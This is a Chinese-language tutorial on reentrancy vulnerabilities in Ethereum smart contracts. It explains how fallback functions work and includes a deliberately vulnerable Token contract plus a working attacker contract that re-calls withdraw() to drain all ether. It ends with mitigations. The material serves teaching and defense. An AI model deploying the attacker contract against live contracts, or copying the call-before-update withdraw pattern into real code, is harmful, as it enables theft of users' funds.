原理

重入漏洞是以太坊智能合约一个典型的漏洞。重入漏洞是指合约在本该属于原子性事务的“修改Storage变量并转账”的操作中,采用了先转账再修改Storage变量的顺序。如果转账的目标是一个带有恶意fallback函数的合约,则可能会被恶意合约对受害合约发起递归调用,从而破坏操作的原子性,绕过检查以重复获得转账收益。
合约可以有一个未命名的函数 —— fallback 函数。这个函数不能有参数也不能有返回值。如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据),那么这个函数(fallback 函数)会被执行。另外每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback 函数必须标记为 payable。如果不存在这样的函数,则合约不能通过常规交易接收以太币。
如果构造一个 fallback 函数,函数里面也调用对方的 withdraw 函数的话,那将会产生一个循环调用转账功能,存在漏洞的合约会不断向攻击者合约转账,直到gas耗尽。该漏洞仅针对address.call.value()这种转账方式。
10.png

示例

  1. contract Token {
  2. mapping(address => uint) public balanceOf;
  3. function Token() payable {}
  4. // 显示当前账户余额
  5. function showAccount() public view returns(uint){
  6. return this.balance;
  7. }
  8. // 接收转账
  9. function receiveEther() public payable{
  10. require(msg.value>0);
  11. balanceOf[msg.sender]+=msg.value;
  12. }
  13. // 取款
  14. function withdraw() public payable{
  15. // 如果转账的地址为合约,并且转账合约中有回调函数。那么将默认会执行回调函数。
  16. require(balanceOf[msg.sender]>0);
  17. if (msg.sender.call.value(balanceOf[msg.sender])()) {
  18. balanceOf[msg.sender] = 0;
  19. }
  20. }
  21. }
  1. // 攻击者合约
  2. contract Attack {
  3. address addr;
  4. uint public times;
  5. constructor(address target) payable{
  6. addr=target;
  7. }
  8. // 发送1 ether
  9. function sendEther() public payable{
  10. Token(addr).receiveEther.value(1 ether)();
  11. }
  12. function hack() public{
  13. Token(addr).withdraw();
  14. }
  15. // 回调函数
  16. function () payable{
  17. times++;
  18. Token(addr).withdraw();
  19. }
  20. function showAccount() view public returns(uint){
  21. return this.balance;
  22. }
  23. }

攻击者合约向漏洞合约转账 1 ether后:
8.png
攻击者调用hack进行重入攻击后:
9.png
按照漏洞合约的正确逻辑,这个时候攻击者账户合约只会增加 1 ether, 然而现在攻击者将漏洞合约所有 ether都提取走了,实施重入攻击成功。

防护

  • 直接修复:使用address.transfer()或者address.send()进行转账操作
  • 根源修复:进行资源锁,或者是使用哨兵等方式进行验证判断
  • 也可以调换转账和扣款的执行顺序解决